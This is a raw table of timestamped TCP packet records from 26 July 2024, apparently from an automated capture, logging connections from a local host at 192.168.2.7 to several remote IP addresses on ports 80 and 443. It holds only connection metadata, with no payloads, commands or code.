Jul 26, 2024 08:57:32.272294044 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.272309065 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.272322893 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.272336006 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.272350073 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.272352934 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.272362947 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.272399902 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.273154020 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.273169041 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.273181915 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.273195982 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.273201942 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.273209095 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.273231983 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.273267031 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.325294018 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.325370073 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.325423956 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.325438023 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.325465918 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.325483084 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.325815916 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.325830936 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.325866938 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.326153040 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.326169014 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.326200962 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.326212883 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.326550961 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.326565027 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.326579094 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.326592922 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.326595068 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.326615095 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.326642990 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.327330112 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.327344894 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.327358007 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.327370882 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.327378035 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.327419043 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.328212023 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.328227997 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.328257084 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.328279972 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.329087973 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.329102993 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.329116106 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.329129934 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.329135895 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.329154015 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.329155922 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.329169035 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.329170942 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.329190016 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.329205036 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.329983950 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.329998970 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330013037 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330025911 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330029964 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.330041885 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330049992 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.330074072 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.330097914 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.330934048 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330950022 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330965042 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330977917 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.330979109 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.331002951 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.331073999 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.331737995 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.331760883 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.331774950 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.331784964 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.331789017 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.331804037 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.331808090 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.331831932 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.331855059 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.332690001 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.332705021 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.332717896 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.332731009 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.332735062 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.332751036 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.332775116 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:33.006742001 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:33.007057905 CEST	49707	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:33.011871099 CEST	80	49707	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:33.011960983 CEST	49707	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:33.012047052 CEST	49707	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:33.012140036 CEST	80	49705	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:33.012192965 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:33.016923904 CEST	80	49707	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:33.806507111 CEST	80	49707	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:33.806600094 CEST	49707	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:33.821492910 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:33.821788073 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:33.827012062 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:33.827076912 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:33.827265978 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:33.827311993 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:33.828294039 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:33.833998919 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.572191954 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.572335005 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.572380066 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.572415113 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.572433949 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.572455883 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.572839022 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.572873116 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.572885990 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.572909117 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.572916985 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.572953939 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.573386908 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.573431015 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.573551893 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.573585033 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.573596954 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.573617935 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.573621988 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.573658943 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.577786922 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.577848911 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.577889919 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.577934980 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.721510887 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.721643925 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.721942902 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.721980095 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.721999884 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.722033978 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.722909927 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.722965002 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.723037004 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.723071098 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.723083019 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.723123074 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.723562002 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.723596096 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.723609924 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.723629951 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.723642111 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.723669052 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.723675966 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.723711967 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.724499941 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.724538088 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.724545002 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.724572897 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.724587917 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.724606991 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.724622965 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.724648952 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.725387096 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.725420952 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.725435019 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.725454092 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.725465059 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.725487947 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.725495100 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.725531101 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.726248026 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.726280928 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.726290941 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.726310015 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.726326942 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.726346970 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.726347923 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.726387978 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.732342005 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.732426882 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.732516050 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.732566118 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.732637882 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.732686043 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.870029926 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.870142937 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.870322943 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.870376110 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.870465994 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.870513916 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.870847940 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.870881081 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.870897055 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.870923042 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.871797085 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.871841908 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.872355938 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.872389078 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.872399092 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.872431040 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.873433113 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.873467922 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.873476028 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.873524904 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.874602079 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.874636889 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.874659061 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.874684095 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.875650883 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.875685930 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.875701904 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.875719070 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.875725031 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.875765085 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.876771927 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.876806974 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.876817942 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.876851082 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.877861023 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.877893925 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.877923965 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.877937078 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.878973961 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.879009008 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.879023075 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.879050016 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.880080938 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.880115032 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.880127907 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.880147934 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.880157948 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.880189896 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.881192923 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.881227970 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.881244898 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.881290913 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.882302046 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.882334948 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.882369041 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.882385969 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.883400917 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.883434057 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.883455992 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.883471966 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.884532928 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.884618044 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.884644985 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.884663105 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.885612965 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.885647058 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.885663033 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.885679960 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.885689974 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.885721922 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.886723042 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.886758089 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.886769056 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.886799097 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.887733936 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.887769938 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.887778997 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.887809992 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.888775110 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.888809919 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.888823032 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.888839006 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.957525969 CEST	80	49708	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:34.957633972 CEST	49708	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:34.968453884 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:34.973516941 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:34.973597050 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:34.974632978 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:34.979533911 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:35.595494032 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:35.595571041 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:35.599545002 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:35.604301929 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:35.678853989 CEST	49707	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:35.680252075 CEST	49710	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:35.708179951 CEST	80	49710	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:35.708260059 CEST	49710	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:35.711386919 CEST	80	49707	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:35.711443901 CEST	49707	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:35.717394114 CEST	49710	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:35.724045038 CEST	80	49710	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:36.008228064 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.008440971 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.018800974 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.023859978 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.200205088 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.200221062 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.200346947 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.348870993 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.354012012 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.515870094 CEST	80	49710	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:36.516016006 CEST	49710	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:36.531838894 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.531888962 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.531900883 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.531910896 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.531949997 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.531987906 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.532047987 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.532059908 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.532071114 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.532082081 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.532171965 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.532171965 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.532293081 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.736139059 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:36.742893934 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.853605986 CEST	49710	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:36.853856087 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:36.859517097 CEST	80	49710	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:36.859591961 CEST	80	49711	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:36.859606981 CEST	49710	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:36.859649897 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:36.915456057 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:36.918787003 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:37.050357103 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:37.055788994 CEST	80	49711	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:37.623936892 CEST	80	49711	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:37.623991966 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:37.699615002 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:37.705024958 CEST	80	49711	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:37.810869932 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:37.810908079 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:37.810959101 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:37.813538074 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:37.813555002 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:37.950329065 CEST	80	49711	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:37.950391054 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:38.029683113 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:38.029683113 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:38.034898996 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:38.034917116 CEST	80	49709	85.28.47.31	192.168.2.7
